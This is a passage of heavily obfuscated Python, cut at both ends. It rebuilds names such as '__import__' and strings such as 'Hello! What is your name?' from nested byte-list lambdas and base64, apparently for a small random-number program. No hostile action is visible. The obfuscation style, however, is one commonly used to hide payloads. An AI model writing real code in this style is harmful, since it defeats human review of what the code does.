(Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))](__builtins__.__dict__[__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'X19pbXBvcnRfXw==').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'SGVsbG8hIFdoYXQgaXMgeW91ciBuYW1lPwo=').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))) +__3620605820__ = random.randint(int(__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'MQ==').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 